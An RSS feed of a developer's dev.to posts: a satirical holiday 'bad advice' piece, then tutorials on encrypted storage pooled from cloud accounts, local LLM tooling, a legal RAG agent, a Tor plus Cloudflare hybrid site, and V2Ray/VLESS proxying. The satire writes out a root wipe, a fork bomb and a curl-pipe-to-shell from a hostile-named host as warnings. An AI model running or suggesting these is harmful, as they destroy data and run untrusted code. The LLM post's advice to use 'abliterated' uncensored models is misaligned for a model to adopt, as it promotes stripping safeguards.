<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Lag Lagendary</title>
    <description>The latest articles on DEV Community by Lag Lagendary (@lag_lagendary).</description>
    <link>https://dev.to/lag_lagendary</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3587552%2F6092c026-17c9-4888-ae56-f34ccf362f07.jpg</url>
      <title>DEV Community: Lag Lagendary</title>
      <link>https://dev.to/lag_lagendary</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/lag_lagendary"/>
    <language>en</language>
    <item>
      <title>🎅🎄 Happy Data-Pocalypse, Users! (Bad Advice from the IT-Grinch) 🎄🎅</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Mon, 29 Dec 2025 07:58:58 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/happy-data-pocalypse-users-bad-advice-from-the-it-grinch-33c4</link>
      <guid>https://dev.to/lag_lagendary/happy-data-pocalypse-users-bad-advice-from-the-it-grinch-33c4</guid>
      <description>&lt;p&gt;"If you've decided to upgrade your system today, To make it reach orbit, bypassing the fray, Don't read the manuals—they're for the weak, Just hit 'Enter' now, let the terminal speak! &lt;/p&gt;

&lt;p&gt;If your neighbor’s Git is full of strange lines, With 'DANGER! DO NOT ENTER' and warning signs, It means there’s a treasure, a secret, a prize, Just copy-paste all, and ignore your own eyes!"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🎁 Gifts under the Tree (How to delete your data and meet your system's destiny):&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Snowflakes on the Disk": Why keep your files when the holidays are here? Just run &lt;code&gt;sudo rm -rf /* --no-preserve-root&lt;/code&gt;. It’s like digital confetti! Your data will scatter so fast you won’t even have time to say "Merry Christmas!" Your system will be as clean as the first December snow (and just as empty).&lt;/p&gt;

&lt;p&gt;"The Festive Process Garland": Want your CPU to sing like an elven choir? Try the classic: &lt;code&gt;:(){ :|:&amp;amp; };:&lt;/code&gt;. It’s a fork-bomb! It multiplies faster than rabbits in a pet shop until your system freezes in a beautiful icy stare. Perfect time to go grab some cocoa!&lt;/p&gt;

&lt;p&gt;"A Gift from an Anonymous Friend": See a command online that starts with &lt;code&gt;curl http://bad-grinch-scripts.io/script.sh | sh&lt;/code&gt;? Run it immediately! It’s like opening the door to a stranger in a Santa suit. Is it a Bitcoin miner or a total wipe of your home directory? It’s a Christmas surprise!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;✨ Happy New Year 2026! ✨&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On a serious note: My Git is more than just code; it’s a collection of scars from a "immortal" system that’s been through hell and back. If my "space-grade" Plan 9 can say goodbye, your home VMs definitely can too!&lt;/p&gt;

&lt;p&gt;May your uptime be long, your pings be low, and your backups be fresh! Don't let the Grinch steal your data this year. Experiment boldly, but keep your head cool and your rm -rf under control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Merry Christmas and a stable Happy New Year to everyone in the dev world! 🎆🚀&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;P.S.: Did you know that Debian is often chosen to manage complex space systems? It’s widely considered the most stable OS in the world. So, if your Debian is feeling a bit "down" today, just imagine the stress of the admins up in orbit! 🚀🌌&lt;/p&gt;

&lt;p&gt;&lt;em&gt;#NewYear2026 #ITGrinch #BadAdvice #Plan9 #SystemAdmin #MerryDataPocalypse #DevLife #LinuxHumor #RootLife #CodeSafety&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Turn Cloud "Trash" into a Golden 100GB Encrypted Vault (LVM + rclone)</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Sun, 28 Dec 2025 09:01:46 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/how-to-turn-cloud-trash-into-a-golden-100gb-encrypted-vault-lvm-rclone-1lc5</link>
      <guid>https://dev.to/lag_lagendary/how-to-turn-cloud-trash-into-a-golden-100gb-encrypted-vault-lvm-rclone-1lc5</guid>
      <description>&lt;p&gt;We’ve all been there: a dozen free cloud accounts, each offering a measly 2GB to 10GB. Individually, they are useless — just a digital "flash drive" from a bargain bin. But together? They can become a high-performance, encrypted, unified storage system.&lt;/p&gt;

&lt;p&gt;Today, I’ll show you how to legally use cloud providers as raw block devices to build a Unified Encrypted Monster on Debian/Ubuntu.&lt;/p&gt;

&lt;p&gt;The Architecture&lt;/p&gt;

&lt;p&gt;We aren't just syncing files. We are building a layered sandwich:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Physical Layer: Multiple free cloud accounts (Yandex, Mail.ru, Sber, Google, etc.).

Transport Layer: rclone mount points.

Block Layer: Loop devices on top of sparse files.

Abstraction Layer: LVM (Logical Volume Manager) to glue them into one drive.

Security Layer: LUKS for client-side encryption.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 1: Recruiting the "Workers" (rclone)&lt;/p&gt;

&lt;p&gt;Install rclone and configure your remotes. Map them to local directories:&lt;/p&gt;

&lt;p&gt;Bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Example for one of many
&lt;/h1&gt;

&lt;p&gt;rclone mount remote1: /mnt/cloud/storage1 --vfs-cache-mode writes &amp;amp;&lt;/p&gt;

&lt;p&gt;Tip: --vfs-cache-mode writes is crucial. It handles the latency and prevents LVM from crashing if the connection blips.&lt;/p&gt;

&lt;p&gt;Step 2: Creating the "Bricks"&lt;/p&gt;

&lt;p&gt;In each mounted cloud folder, create a container file. Let's say we have 50 accounts with 2GB each:&lt;br&gt;
Bash&lt;/p&gt;

&lt;p&gt;truncate -s 1900M /mnt/cloud/storage1/data.img&lt;/p&gt;

&lt;h1&gt;
  
  
  Repeat for storage2, storage3... storage50
&lt;/h1&gt;

&lt;p&gt;truncate creates sparse files instantly without consuming local space until you actually write data.&lt;/p&gt;

&lt;p&gt;Step 3: From Files to Hardware (Loop Devices)&lt;/p&gt;

&lt;p&gt;Tell the Linux kernel to treat these files as hard drives:&lt;br&gt;
Bash&lt;/p&gt;

&lt;p&gt;losetup /dev/loop1 /mnt/cloud/storage1/data.img&lt;/p&gt;

&lt;h1&gt;
  
  
  ...and so on
&lt;/h1&gt;

&lt;p&gt;Step 4: The LVM Magic (The Glue)&lt;/p&gt;

&lt;p&gt;This is where the "trash" becomes a "vault." We combine all loop devices into one Volume Group.&lt;/p&gt;

&lt;p&gt;Bash&lt;/p&gt;

&lt;p&gt;pvcreate /dev/loop1 /dev/loop2 /dev/loop3 ...&lt;br&gt;
vgcreate cloud_monster /dev/loop1 /dev/loop2 ...&lt;br&gt;
lvcreate -l 100%FREE -n gold_vault cloud_monster&lt;/p&gt;

&lt;p&gt;Why LVM? It doesn't care where the chunks are. When you save a 5GB video, LVM automatically stripes it across multiple clouds. No single provider sees the whole file.&lt;br&gt;
Step 5: Privacy First (LUKS Encryption)&lt;/p&gt;

&lt;p&gt;We don't trust the providers, right? Let's lock the door.&lt;/p&gt;

&lt;p&gt;Bash&lt;/p&gt;

&lt;p&gt;cryptsetup luksFormat /dev/cloud_monster/gold_vault&lt;br&gt;
cryptsetup open /dev/cloud_monster/gold_vault private_storage&lt;br&gt;
mkfs.ext4 /dev/mapper/private_storage&lt;br&gt;
mount /dev/mapper/private_storage /home/user/my_secure_data&lt;/p&gt;

&lt;p&gt;Conclusion: Why bother?&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Total Privacy: Everything is encrypted before it leaves your machine.

Decentralization: No single provider has your complete data.

Cost: $0.

Flexibility: Need more space? Just add another "trash" account and extend the LVM volume on the fly.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Instead of carrying a pocketful of 150-ruble flash drives, you now have a sophisticated, encrypted SAN (Storage Area Network) running in the cloud.&lt;/p&gt;

&lt;p&gt;Happy Hacking!&lt;/p&gt;

&lt;h1&gt;
  
  
  linux #opensource #cloud #encryption #storage #rclone #sysadmin #devto
&lt;/h1&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>cloud</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>🛠 Local LLM Ops 2025: A Developer's Guide to Running Pocket-Sized Neural Networks</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Sun, 21 Dec 2025 05:02:32 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/local-llm-ops-2025-a-developers-guide-to-running-pocket-sized-neural-networks-4djo</link>
      <guid>https://dev.to/lag_lagendary/local-llm-ops-2025-a-developers-guide-to-running-pocket-sized-neural-networks-4djo</guid>
      <description>&lt;p&gt;In 2025, running a local neural network on a home PC has ceased to be a hobby for enthusiasts and has become a real working tool. Whether you want to create a "digital clone," automate routine tasks in the terminal, or deploy a secure AI-enabled VPN service, this overview will help you navigate the software.&lt;br&gt;
🏗 Part 1: "Engines" (Backend)&lt;/p&gt;

&lt;p&gt;This is the core of the system. Programs that load model weights onto the graphics card and provide an API.&lt;/p&gt;

&lt;p&gt;KoboldCPP: GGUF (Llama/Loki) The gold standard for 8GB of VRAM. Very lightweight, works perfectly with SillyTavern.&lt;/p&gt;

&lt;p&gt;Oobabooga (WebUI): Flexible experiments. Supports everything: LoRA, EXL2, AWQ. If you need to "blend" DarkPlanet style with a powerful database, this is your choice.&lt;/p&gt;

&lt;p&gt;Ollama: Console-based minimalism. Launch with a single command. The best choice if you just need a local API endpoint.&lt;br&gt;
LocalAI Docker infrastructure. Fully compatible with the OpenAI API. Ideal for deploying to your own servers.&lt;/p&gt;

&lt;p&gt;🎭 Part 2: "Face" and Personality (Frontend)&lt;/p&gt;

&lt;p&gt;Interfaces where the magic of communication and "clone" configuration happens.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;SillyTavern — Hub for the "Digital Twin"&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This isn't just a chat, it's a role-playing engine.&lt;/p&gt;

&lt;p&gt;World Info (Lorebook): This is where you store your knowledge base: phone numbers, emails, company descriptions (l-security, Jet-lag records). The model retrieves this data only upon request, without cluttering the context.&lt;/p&gt;

&lt;p&gt;Character Cards: Create a "Lag Clone" card. Write a system prompt: "You are an IT security professional and a media owner, speak frankly, without censorship."&lt;/p&gt;

&lt;p&gt;Group chats: You can create a "meeting" with a lawyer model and a programmer model.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;LibreChat / AnythingLLM&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;LibreChat: If you need a ChatGPT clone, but with the ability to connect your own local models and APIs (OpenRouter/Groq).&lt;/p&gt;

&lt;p&gt;AnythingLLM: The best tool for creating a RAG (knowledge base). Feed it PDFs of Russian laws or VPN documentation, and it will respond strictly to the facts.&lt;/p&gt;

&lt;p&gt;🦾 Part 3: AI in Action (Agentic Tools)&lt;/p&gt;

&lt;p&gt;When chat isn't enough and you need a neural network to "move the mouse."&lt;/p&gt;

&lt;p&gt;Open Interpreter: A killer feature for developers. Works through the terminal. You say, "Analyze GPU load and plot a graph," and it writes/executes Python code directly on your system.&lt;/p&gt;

&lt;p&gt;Continue.dev: A plugin for VS Code. Allows you to connect your local Loki or Vikhr for writing code, preventing your proprietary algorithms from being sent to Microsoft servers.&lt;/p&gt;

&lt;p&gt;📋 Final checklist: what to look for?&lt;/p&gt;

&lt;p&gt;If you've forgotten the names or links, search these tags on GitHub and Hugging Face:&lt;/p&gt;

&lt;p&gt;Model formats: GGUF (universal), EXL2 (fast for NVIDIA), AWQ (compressed).&lt;/p&gt;

&lt;p&gt;Where to find models: Hugging Face (search for authors Bartowski, mradermacher, or the abliterated tags).&lt;/p&gt;

&lt;p&gt;Key repositories: * SillyTavern/SillyTavern&lt;/p&gt;

&lt;p&gt;LostRuins/koboldcpp&lt;/p&gt;

&lt;p&gt;KillianLucas/open-interpreter&lt;/p&gt;

&lt;p&gt;Tip for 2025: If the local 8B (Loki/Vikhr) model seems "stupid," try connecting via the Llama-3-70B-Abliterated API key. This will give you GPT-4-level intelligence while preserving your freedom of speech and freedom from censorship.&lt;/p&gt;

&lt;p&gt;#LocalLLM #SillyTavern #Oobabooga #KoboldCPP #OpenInterpreter #SelfHostedAI #AIops #MachineLearning #Python #GPU #CUDA #LLMops #PrivacyFirst #DigitalTwin #UncensoredAI #ITSecurity #VPN #CloudComputing #Automation&lt;/p&gt;

</description>
      <category>devops</category>
      <category>llm</category>
      <category>tutorial</category>
      <category>ai</category>
    </item>
    <item>
      <title>Building a "Legal Killer": An AI Agent Architecture Without the Margin for Error</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Fri, 19 Dec 2025 06:10:13 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/building-a-legal-killer-an-ai-agent-architecture-without-the-margin-for-error-1fao</link>
      <guid>https://dev.to/lag_lagendary/building-a-legal-killer-an-ai-agent-architecture-without-the-margin-for-error-1fao</guid>
      <description>&lt;p&gt;In this article, we'll explore how to build a local legal risk analysis system that doesn't "hallucinate" text, but instead relies on hard links to the legal framework and case law.&lt;br&gt;
Problem: Why are standard LLMs useless in law?&lt;/p&gt;

&lt;p&gt;Standard models (even GPT-4) are prone to hallucinations in article numbers and interpretations. In legal matters, a single digit error is a lost cause. Our goal is to make the LLM not an "author," but a data manager.&lt;br&gt;
"Killer 2.0" System Architecture&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Data Layer (The Vault)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We don't rely on model knowledge. We create a Vector DB.&lt;/p&gt;

&lt;p&gt;Stack: ChromaDB or FAISS.&lt;/p&gt;

&lt;p&gt;Content: Local PDF/JSON files from current databases (Consultant+, Garant).&lt;/p&gt;

&lt;p&gt;Process: Texts are broken into chunks and converted into vectors. Each chunk is assigned a unique local ID (link).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Retrieval Layer&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When you submit a document for review, the system doesn't ask the model "What's wrong here?"&lt;/p&gt;

&lt;p&gt;The system compares the sentence vectors from your document with the vectors from the law database.&lt;/p&gt;

&lt;p&gt;Finds the top 5 most relevant articles and precedents.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Logic Layer (The Dispatcher)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here we use a lightweight model (e.g., Llama-3-3B or Qwen2-1.5B), compressed to 4-bit to fit into 3 GB of VRAM.&lt;/p&gt;

&lt;p&gt;The model's task: Not to write text, but to populate a JSON table.&lt;/p&gt;

&lt;p&gt;Prompt: "Using only the provided law fragments [Context], fill out the table. If there is no direct violation, leave the field blank."&lt;/p&gt;

&lt;p&gt;Mini Assembly Instructions&lt;br&gt;
Step 1: Indexing (Python)&lt;/p&gt;

&lt;p&gt;Use LlamaIndex to link the model to your folders.&lt;br&gt;
Python&lt;/p&gt;

&lt;p&gt;from llama_index.core import VectorStoreIndex, SimpleDirectoryReader&lt;/p&gt;

&lt;p&gt;documents = SimpleDirectoryReader("./laws_russia").load_data()&lt;br&gt;
index = VectorStoreIndex.from_documents(documents)&lt;/p&gt;

&lt;p&gt;Step 2: Generating Tabular Output&lt;/p&gt;

&lt;p&gt;Configure the Output Parser so the AI ​​produces structured data with links. Field Description&lt;br&gt;
violation_source Quote from your text&lt;br&gt;
law_ref Link to article ID in the local database&lt;br&gt;
penalty Type of liability (Administrative Code/Criminal Code)&lt;br&gt;
precedent Link to the court case number&lt;br&gt;
Step 3: Claim Generation&lt;/p&gt;

&lt;p&gt;The final module takes data from the table and inserts it into pre-prepared legal templates. This eliminates AI "creativity" in official documents.&lt;br&gt;
Why does this work?&lt;/p&gt;

&lt;p&gt;Locality: Your documents and l-security code never leave your PC.&lt;/p&gt;

&lt;p&gt;Verifibility: Each table row is a clickable link to the original source.&lt;/p&gt;

&lt;p&gt;Efficiency: The system runs on a home video card, consuming minimal resources thanks to short responses.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Creating a Universal Hybrid Resource (Clearnet + Darknet). ||V2.0||</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Mon, 08 Dec 2025 12:45:53 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/creating-a-universal-hybrid-resource-clearnet-darknet-4eh1</link>
      <guid>https://dev.to/lag_lagendary/creating-a-universal-hybrid-resource-clearnet-darknet-4eh1</guid>
      <description>&lt;p&gt;This architecture allows a single website to operate in two modes simultaneously:&lt;br&gt;
Clearnet (High Speed): Uses a global CDN network to accelerate and obfuscate traffic (DPI protection).&lt;br&gt;
Darknet (High Availability): Uses the Tor network for access in conditions of total censorship.&lt;br&gt;
Step 1: Preparing the Infrastructure&lt;br&gt;
You will need:&lt;br&gt;
VPS (Virtual Private Server): Preferably outside the jurisdiction where blocking is expected. (Ubuntu 22.04/24.04).&lt;br&gt;
Domain name: (e.g., mysuperfastsite.com).&lt;br&gt;
Cloudflare account: The free plan is sufficient.&lt;br&gt;
Step 2: Setting up "Speed ​​Shield" (Cloudflare)&lt;br&gt;
This provides the "Clearnet" part: speed and protection from IP blocking. Delegation: Transfer your domain's NS records to Cloudflare.&lt;br&gt;
DNS Settings:&lt;br&gt;
Create an A record for your domain pointing to your VPS's IP.&lt;br&gt;
Important: Set the Proxy status switch to Proxied (Orange cloud). Now the world sees Cloudflare's IP, not yours.&lt;br&gt;
SSL/TLS (Encryption):&lt;br&gt;
In the SSL/TLS section, select Full (Strict).&lt;br&gt;
Generate an Origin Certificate in the Cloudflare panel (SSL/TLS -&amp;gt; Origin Server -&amp;gt; Create Certificate). Save the .pem (certificate) and .key (key) on your server.&lt;br&gt;
Network (Speed):&lt;br&gt;
Enable HTTP/3 (QUIC) and 0-RTT for maximum loading speed.&lt;br&gt;
Step 3: Configure "Shadow Gateway" (Tor)&lt;br&gt;
This enables access from the Dark Web. Install Tor:&lt;br&gt;
sudo apt update &amp;amp;&amp;amp; sudo apt install tor -y&lt;br&gt;
Configure Hidden Service:&lt;br&gt;
Open the /etc/tor/torrc file:&lt;/p&gt;

&lt;h1&gt;
  
  
  Uncomment or add the following lines:
&lt;/h1&gt;

&lt;p&gt;HiddenServiceDir /var/lib/tor/hidden_service/&lt;br&gt;
HiddenServicePort 80 127.0.0.1:8080&lt;br&gt;
Here we tell Tor to forward requests from the Onion address to local port 8080.&lt;br&gt;
Restart and obtain the address:&lt;br&gt;
sudo systemctl restart tor&lt;br&gt;
sudo cat /var/lib/tor/hidden_service/hostname&lt;br&gt;
Save the resulting .onion address.&lt;br&gt;
Step 4: Configure the "Engine" (Nginx)&lt;br&gt;
Nginx will be the "glue" that connects both worlds and ensures VLESS functionality (if you choose to add it as an option).&lt;br&gt;
Installation: sudo apt install nginx -y&lt;br&gt;
Configuration (/etc/nginx/sites-available/default):&lt;br&gt;
server {&lt;/p&gt;

&lt;h1&gt;
  
  
  --- BLOCK 1: DARKNET (TOR) ---
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Listen on local port 8080, where Tor forwards traffic
&lt;/h1&gt;

&lt;p&gt;listen 127.0.0.1:8080;&lt;br&gt;
server_name localhost;&lt;/p&gt;

&lt;h1&gt;
  
  
  Disable logging for anonymity (optional)
&lt;/h1&gt;

&lt;p&gt;access_log off;&lt;br&gt;
error_log /dev/null;&lt;/p&gt;

&lt;h1&gt;
  
  
  Website root folder
&lt;/h1&gt;

&lt;p&gt;root /var/www/html;&lt;br&gt;
index index.html;&lt;br&gt;
location / {&lt;br&gt;
try_files $uri $uri/ =404;&lt;/p&gt;

&lt;h1&gt;
  
  
  Add a header to let you know the user came through TOR
&lt;/h1&gt;

&lt;p&gt;add_header X-Entrance "Darknet-Tor";&lt;br&gt;
}&lt;br&gt;
}&lt;br&gt;
server {&lt;/p&gt;

&lt;h1&gt;
  
  
  --- BLOCK 2: CLEARNET (CLOUDFLARE + VLESS WSS) ---
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Listening on port 443 with SSL
&lt;/h1&gt;

&lt;p&gt;listen 443 ssl http2;&lt;br&gt;
server_name mysuperfastsite.com;&lt;/p&gt;

&lt;h1&gt;
  
  
  SSL certificates from Cloudflare (Origin Cert)
&lt;/h1&gt;

&lt;p&gt;ssl_certificate /etc/ssl/certs/cf_origin_cert.pem;&lt;br&gt;
ssl_certificate_key /etc/ssl/private/cf_origin_key.key;&lt;/p&gt;

&lt;h1&gt;
  
  
  SSL optimization
&lt;/h1&gt;

&lt;p&gt;ssl_protocols TLSv1.2 TLSv1.3;&lt;br&gt;
ssl_ciphers HIGH:!aNULL:!MD5;&lt;br&gt;
root /var/www/html;&lt;br&gt;
index index.html;&lt;/p&gt;

&lt;h1&gt;
  
  
  1. Regular website (cloaking and content)
&lt;/h1&gt;

&lt;p&gt;location / {&lt;br&gt;
try_files $uri $uri/ =404;&lt;br&gt;
add_header X-Entrance "Clearnet-Cloudflare";&lt;br&gt;
}&lt;/p&gt;

&lt;h1&gt;
  
  
  2. Secret path for VLESS/V2Ray (Websocket)
&lt;/h1&gt;

&lt;h1&gt;
  
  
  This is a "Tunnel" for those who even have Cloudflare blocked
&lt;/h1&gt;

&lt;p&gt;location /mysecretpath {&lt;br&gt;
if ($http_upgrade != "websocket") {&lt;br&gt;
return 404;&lt;br&gt;
}&lt;br&gt;
proxy_redirect off;&lt;/p&gt;

&lt;h1&gt;
  
  
  Redirect to the local Xray/V2Ray port (needs to be set separately)
&lt;/h1&gt;

&lt;p&gt;proxy_pass &lt;a href="http://127.0.0.1:10000" rel="noopener noreferrer"&gt;http://127.0.0.1:10000&lt;/a&gt;;&lt;br&gt;
proxy_http_version 1.1;&lt;br&gt;
proxy_set_header Upgrade $http_upgrade;&lt;br&gt;
proxy_set_header Connection "upgrade";&lt;br&gt;
proxy_set_header Host $http_host;&lt;br&gt;
proxy_set_header X-Real-IP $remote_addr;&lt;br&gt;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br&gt;
}&lt;br&gt;
}&lt;/p&gt;

&lt;h1&gt;
  
  
  Redirect from HTTP to HTTPS (Clearnet only)
&lt;/h1&gt;

&lt;p&gt;server {&lt;br&gt;
listen 80;&lt;br&gt;
server_name mysuperfastsite.com;&lt;br&gt;
return 301 https://$host$request_uri;&lt;br&gt;
}&lt;br&gt;
Final workflow&lt;br&gt;
Clearnet user:&lt;br&gt;
Enters mysuperfastsite.com.&lt;br&gt;
Request to Cloudflare (the closest server).&lt;br&gt;
Cloudflare checks DDoS protection and forwards the request to your Nginx via HTTP/3.&lt;br&gt;
DPI only sees valid traffic to Cloudflare.&lt;br&gt;
Speed: Maximum (CDN caching).&lt;br&gt;
A user on the Darknet (or under a total blockade):&lt;br&gt;
Enters your-onion-address into the Tor Browser.&lt;br&gt;
The request passes through three Tor nodes and reaches your server via localhost:8080.&lt;br&gt;
Availability: 100% as long as the server is up, regardless of DNS and IP blocks.&lt;br&gt;
A user on VLESS (Personal VPN):&lt;br&gt;
Uses a client (v2rayNG) with the address mysuperfastsite.com and the path /mysecretpath.&lt;br&gt;
Nginx intercepts this path and passes it on to the Xray kernel.&lt;br&gt;
You get a private, unblocked communication channel.&lt;br&gt;
This is the embodiment of the "dual-use" philosophy: one server, one configuration, complete freedom of access method.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>V2Ray &amp; WebSockets</title>
      <dc:creator>Lag Lagendary</dc:creator>
      <pubDate>Mon, 08 Dec 2025 11:45:17 +0000</pubDate>
      <link>https://dev.to/lag_lagendary/v2ray-websockets-3b21</link>
      <guid>https://dev.to/lag_lagendary/v2ray-websockets-3b21</guid>
      <description>&lt;p&gt;🚀 V2Ray/VLESS + WSS/TLS Basics&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Protocols (V2Ray / VLESS)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;V2Ray (Project V): A powerful and flexible toolset primarily used for network proxying. It supports many protocols, including VMess.&lt;/p&gt;

&lt;p&gt;VLESS (V2Ray freedom): A more modern and simple protocol that is the successor to VMess. It has less overhead and does not require time synchronization, making it more performant and easier to configure. VLESS is recommended.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Transport (WSS - WebSocket Secure)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;WebSocket (WS/WSS): A protocol that provides full-duplex communication between a client and a server over a single TCP connection.&lt;/p&gt;

&lt;p&gt;WSS: WebSocket over TLS/SSL.&lt;/p&gt;

&lt;p&gt;Why WebSocket? It allows proxy traffic (VLESS) to pass through a standard web port (e.g., 443) and appear as a normal web connection. This helps bypass blocking based on traffic signature analysis.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Encryption (TLS - Transport Layer Security)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;TLS (SSL): A protocol for providing secure and encrypted communications.&lt;/p&gt;

&lt;p&gt;Why is TLS needed?&lt;/p&gt;

&lt;p&gt;Security: Encrypts all VLESS traffic, preventing interception.&lt;/p&gt;

&lt;p&gt;Obfuscation: Makes traffic indistinguishable from traffic generated when visiting a regular HTTPS site (e.g., yours), which is key to bypassing DPI (Deep Packet Inspection).&lt;/p&gt;

&lt;p&gt;🛠️ How to set it up on your website&lt;/p&gt;

&lt;p&gt;Setup consists of three main steps: obtaining a domain and certificate, installing V2Ray/Xray, and setting up a reverse proxy using Nginx. Step 1: Domain and TLS Certificate&lt;/p&gt;

&lt;p&gt;Register a domain name (e.g., myvps.com).&lt;/p&gt;

&lt;p&gt;Obtain a TLS certificate (required!) for this domain. The easiest way is to use Let's Encrypt via Certbot or the automatic plugin in your hosting/control panel.&lt;/p&gt;

&lt;p&gt;Important: For VLESS/WSS/TLS, port 443 must be free for the initial Nginx setup.&lt;/p&gt;

&lt;p&gt;Step 2: Install V2Ray/Xray on the Server&lt;/p&gt;

&lt;p&gt;For the VLESS protocol, Xray is commonly used (a fork of V2Ray with more active development of VLESS/XTLS).&lt;/p&gt;

&lt;p&gt;Install Xray on your server (VPS).&lt;/p&gt;

&lt;p&gt;Example command (scripts are often used for automation):&lt;br&gt;
Bash&lt;/p&gt;

&lt;p&gt;bash &amp;lt;(curl -L &lt;a href="https://raw.githubusercontent.com/XTLS/Xray-install/main/install-release.sh" rel="noopener noreferrer"&gt;https://raw.githubusercontent.com/XTLS/Xray-install/main/install-release.sh&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Configure Xray on the Server:&lt;/p&gt;

&lt;p&gt;In the Xray configuration file (config.json), configure the inbound connection.&lt;/p&gt;

&lt;p&gt;It should listen on a local port (e.g., 10000) and accept traffic via the VLESS protocol with WebSocket transport.&lt;/p&gt;

&lt;p&gt;Example config.json fragment:&lt;br&gt;
JSON&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
"inbounds": [&lt;br&gt;
{&lt;br&gt;
"port": 10000,&lt;br&gt;
"listen": "127.0.0.1",&lt;br&gt;
"protocol": "vless",&lt;br&gt;
"settings": {&lt;br&gt;
"clients": [&lt;br&gt;
{"id": "YOUR_UUID", "level": 0}&lt;br&gt;
],&lt;br&gt;
"decryption": "none"&lt;br&gt;
},&lt;br&gt;
"streamSettings": {&lt;br&gt;
"network": "ws",&lt;br&gt;
"wsSettings": {&lt;br&gt;
"path": "/mysecretpath"&lt;br&gt;
}&lt;br&gt;
}&lt;br&gt;
}&lt;br&gt;
]&lt;br&gt;
// ... the rest of the configuration ...&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Remember: YOUR_UUID (unique identifier) ​​and mysecretpath (WebSocket path) are your secret keys.&lt;/p&gt;

&lt;p&gt;Step 3: Configuring Nginx (Reverse Proxy)&lt;/p&gt;

&lt;p&gt;Nginx will act as a "facade" and traffic router.&lt;/p&gt;

&lt;p&gt;Nginx listens on port 443 (HTTPS) for your domain (myvps.com).&lt;/p&gt;

&lt;p&gt;It receives encrypted TLS traffic.&lt;/p&gt;

&lt;p&gt;Based on the request path (location), Nginx redirects the traffic:&lt;/p&gt;

&lt;p&gt;If the path matches your secret WebSocket path (/mysecretpath), Nginx redirects it locally to Xray (port 10000).&lt;/p&gt;

&lt;p&gt;If the path doesn't match (any other request to your site), Nginx redirects it to your regular site (e.g., port 8080 or static files).&lt;/p&gt;

&lt;p&gt;Example Nginx configuration fragment (server block):&lt;br&gt;
Nginx&lt;/p&gt;

&lt;p&gt;server {&lt;br&gt;
listen 443 ssl;&lt;br&gt;
server_name myvps.com;&lt;/p&gt;

&lt;h1&gt;
  
  
  TLS settings (link to your certificate and key)
&lt;/h1&gt;

&lt;p&gt;ssl_certificate /path/to/fullchain.pem;&lt;br&gt;
ssl_certificate_key /path/to/privkey.key;&lt;/p&gt;

&lt;h1&gt;
  
  
  ... additional TLS security settings ...
&lt;/h1&gt;

&lt;h1&gt;
  
  
  1. SECRET PROXY FOR VLESS/WSS
&lt;/h1&gt;

&lt;p&gt;location /mysecretpath {&lt;/p&gt;

&lt;h1&gt;
  
  
  Proxying to a local Xray port
&lt;/h1&gt;

&lt;p&gt;proxy_redirect off;&lt;br&gt;
proxy_pass &lt;a href="http://127.0.0.1:10000" rel="noopener noreferrer"&gt;http://127.0.0.1:10000&lt;/a&gt;;&lt;/p&gt;

&lt;h1&gt;
  
  
  Required settings for WebSocket
&lt;/h1&gt;

&lt;p&gt;proxy_http_version 1.1;&lt;br&gt;
proxy_set_header Upgrade $http_upgrade;&lt;br&gt;
